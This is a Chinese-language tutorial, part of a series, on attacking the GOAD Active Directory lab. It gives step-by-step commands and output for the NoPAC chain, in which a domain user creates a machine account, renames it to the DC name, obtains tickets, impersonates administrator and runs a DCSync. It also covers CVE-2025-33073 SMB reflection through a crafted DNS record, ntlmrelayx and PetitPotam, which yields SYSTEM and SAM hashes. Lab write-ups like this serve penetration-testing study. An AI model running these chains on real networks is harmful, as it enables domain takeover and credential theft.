通过 信息收集与初始凭据获取域用户与攻击路径枚举投毒与中继,我们已经从信息收集一路走到了有效域用户。这一篇继续讲两条更像“提权收尾”的链路:NoPAC 和 CVE-2025-33073,分别对应域控与未强制 SMB Signing 主机的思路。

系列进度: 第 4/5 篇|上一篇:Responder 投毒、NTLM Relay、mitm6 与 LDAP 中继|下一篇:ADCS 域提权:从 ESC1 到 ESC16

实验范围: 本文所有提权、强制认证和 DNS 操作均在 GOAD 靶场完成;操作前请记录初始状态,并在结束后恢复测试环境。

这篇文章会学到什么

  • 如何判断当前域环境是否满足 NoPAC 的利用前提
  • 如何通过机器账户伪造、S4U2self 与 DCSync 打到域控
  • 如何利用 CVE-2025-33073 把未强制 SMB Signing 的主机打成 SYSTEM
  • 如何清理实验中创建的 DNS 记录与残留痕迹

利用前提与选型

链路 初始权限与关键条件 成功证据 收尾动作
NoPAC 可用域用户、目标未修复相关 Kerberos 漏洞;机器账户创建或等价条件满足 可获取伪造机器账户票据并完成 S4U2self 恢复或删除测试期间创建、修改的机器账户对象
CVE-2025-33073 可用域用户、可写 DNS、目标未强制 SMB Signing、可触发 SMB 认证 中继端获得目标主机的高权限上下文 删除恶意 DNS 记录并停止中继监听

先确认条件,再选择链路;扫描结果只能证明潜在攻击面,不能替代对权限、签名和最终身份的验证。

NoPAC:前提、验证与利用

  • 我不会重复介绍这个漏洞,网络上有大把的介绍文章和原理分析
  • GitHub 上有不少自动化利用代码,比如 cube0x0/noPacRidter/noPac
  • 我喜欢用Kali,所以我们只在Kali上用手动的方案来进行攻击

检查是否具有该漏洞

这次攻击使用的账户是 north/jon.snow:iknownothing,我们在 Part2 里通过 Kerberoasting 拿到的。

1
nxc smb 192.168.56.0/24 -u 'north\jon.snow' -p 'iknownothing' -M nopac

检测 NoPAC 漏洞

两次TGT的size不一样,有NoPAC漏洞。

同时我们要检查我们当前使用的域账户是否有添加计算机账户的配额,默认都是10

1
nxc ldap 192.168.56.0/24 -u north\\jon.snow -p iknownothing -M maq

检查 MachineAccountQuota 配额

两个条件都满足才能用NoPAC漏洞。(MAQ为0时也可以打,具体由读者自行研究)

工具准备

1
git clone https://github.com/dirkjanm/krbrelayx.git

另外还要准备 renameMachine.py

进行攻击

  • 首先添加一个机器账户
1
2
3
4
5
┌──(kali㉿192)-[~]
└─$ impacket-addcomputer north/jon.snow:iknownothing -dc-host WINTERFELL.north.sevenkingdoms.local
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account DESKTOP-14VC7MVS$ with password qas3n40vS6Fwc3F7Wwda0fEvQXzT2AXX.
  • 清除添加的机器中的SPN属性
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿192)-[~/krbrelayx]
└─$ python3 addspn.py -u 'north\jon.snow' -p iknownothing -t DESKTOP-14VC7MVS$ -c WINTERFELL.north.sevenkingdoms.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] Printing object before clearing
DN: CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local - STATUS: Read - READ TIME: 2026-03-22T07:12:11.506758
sAMAccountName: DESKTOP-14VC7MVS$

[+] SPN Modified successfully
  • 将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带 $
1
2
3
4
5
6
7
┌──(kali㉿192)-[~/krbrelayx]
└─$ python3 renameMachine.py north/jon.snow:iknownothing -current-name DESKTOP-14VC7MVS$ -new-name WINTERFELL -dc-ip 192.168.56.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Modifying attribute (sAMAccountName) of object (CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (DESKTOP-14VC7MVS$) -> (WINTERFELL)
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)
[*] Target object modified successfully!
  • 用假冒域控的这个机器账户申请TGT
1
2
3
4
5
6
┌──(kali㉿192)-[~/krbrelayx]
└─$ impacket-getTGT north/WINTERFELL:qas3n40vS6Fwc3F7Wwda0fEvQXzT2AXX -dc-ip 192.168.56.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in WINTERFELL.ccache

把名字再改回去

1
2
3
4
5
6
7
┌──(kali㉿192)-[~/krbrelayx]
└─$ python3 renameMachine.py -current-name 'WINTERFELL' -new-name 'samaccount$' 'north/jon.snow:iknownothing' -dc-ip 192.168.56.11
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Modifying attribute (sAMAccountName) of object (CN=DESKTOP-14VC7MVS,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (WINTERFELL) -> (samaccount$)
[*] Target object modified successfully!

  • 通过 S4U2self 协议向 DC 请求 ST
1
2
3
4
5
6
7
8
9
10
11
export KRB5CCNAME=WINTERFELL.ccache

┌──(kali㉿192)-[~/krbrelayx]
└─$ impacket-getST -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north'/'winterfell'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating administrator
[*] Requesting S4U2self
[*] Changing service from winterfell@NORTH.SEVENKINGDOMS.LOCAL to CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

  • 通过获取的ST来进行DCSync
1
2
3
4
5
┌──(kali㉿192)-[~/krbrelayx]
└─$ export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

┌──(kali㉿192)-[~/krbrelayx]
└─$ impacket-secretsdump -k -no-pass -dc-ip 192.168.56.11 @'winterfell.north.sevenkingdoms.local'

NoPAC 成功后执行 DCSync

CVE-2025-33073:SMB 反射提权

前面在 Part3 里只是顺手提了一句,这里把具体打法补完整。这个漏洞的本质,仍然是把目标机器被强制出来的 SMB 认证“反射”回它自己。只要目标没有强制 SMB Signing,最后就有机会直接拿到这台机器的 SYSTEM。

利用前提

这条链子需要满足几个条件:

  • 我们已经有一个普通域用户:north/jon.snow:iknownothing
  • 当前用户能够向域内 DNS 添加记录
  • 目标机器没有强制 SMB Signing
  • 我们能够强制目标对外发起 SMB 认证

在 GOAD 里,我这里选择 CASTELBLACK 作为受害机。原因很简单:它在前面的扫描结果里已经明确显示 signing: False,比去碰 WINTERFELL 这种域控现实得多。

添加恶意 DNS 记录

先往 north.sevenkingdoms.local 的 DNS 里添加一条恶意记录。这里命令最后的 192.168.56.11 只是负责写 DNS 记录的域控,不是最终要打的目标;真正指向的是我们的攻击机 192.168.56.138

1
2
3
python3 dnstool.py -u 'north\jon.snow' -p 'iknownothing' \
-r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 192.168.56.138 --action add 192.168.56.11

这里我直接使用 localhost1UWhRCA... 这条记录名。相比按机器名单独构造记录,这种写法更通用,因为去掉后面的 marshalled target information 之后,剩下的就是 localhost,对不同机器都能复用。

开启中继监听

既然真正的目标是 CASTELBLACK,那么 ntlmrelayx 的中继目标也应该指向它自己:

1
impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support

如果你想在利用成功后继续交互,而不是只看默认的后利用动作,也可以直接打开 SOCKS:

1
impacket-ntlmrelayx -t smb://castelblack.north.sevenkingdoms.local -smb2support --socks

使用 PetitPotam 强制认证

接下来把 CASTELBLACK 的认证强制打到我们刚注册的恶意 DNS 名上:

1
2
3
4
python3 PetitPotam.py -u 'north\jon.snow' -p 'iknownothing' \
-d north.sevenkingdoms.local \
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
castelblack.north.sevenkingdoms.local

如果目标可被强制认证,同时 SMB Signing 没有强制开启,那么 ntlmrelayx 这边通常就能看到认证成功。

成功后的结果

默认情况下,ntlmrelayx 在 SMB 目标上成功反射后,往往会直接执行一套标准后利用动作,例如:

  • 检查并启动 RemoteRegistry
  • 读取目标机器的 SAM
  • 导出本地用户哈希

这已经足够证明我们拿到的是这台机器的高权限上下文了。根据 Synacktiv 的分析,这条链子成功时,最终拿到的是目标机器上的 SYSTEM 身份,而不是一个普通的机器账户权限。

如果你前面开的是 --socks,那后面就可以像 Part3 一样,继续通过代理去跑 smbexec、查看共享文件,或者执行你自己的命令。

这个洞为什么能打

简单理解一下就是:

  1. 我们先注册一个特殊格式的 DNS 名,让目标机器访问这个名字时,把它识别成“本地目标”。
  2. 然后再强制目标去连接这个名字。
  3. 目标发起 SMB 认证时,会走本地 NTLM 认证逻辑。
  4. 我们把这份认证再中继回目标自己的 SMB 服务。
  5. 由于这次被强制出来的认证来自系统服务,最终就能在目标上拿到 SYSTEM

也正因为如此,这个洞对 signing: True 的机器就不太好使了。SMB 签名一旦强制开启,整条反射链基本就断了。

清理痕迹

实验做完以后,记得把恶意 DNS 记录删掉。最简单的做法,就是把上面 dnstool.py 里的 --action add 改成 --action delete,记录名保持一致即可。

小结

Part4 里我们主要演示了两条思路:

  • NoPAC:从普通域用户直接打到域控
  • CVE-2025-33073:利用 SMB 反射把未强制签名的目标机器打成 SYSTEM

这两条链子都说明了一件事:在域环境里,“拿到一个普通域用户”很多时候已经不是低权限起点了。只要目标配置不严、链路又刚好走得通,后面的空间会非常大。

下一步

完成基础提权链路验证后,继续阅读 《GOAD 域渗透教程 5:ADCS 域提权——从 ESC1 到 ESC16》,从模板、CA 配置和证书映射三个层面排查 AD CS 风险。也可以返回 Part3 的中继前提与失败排查 复核协议与签名条件。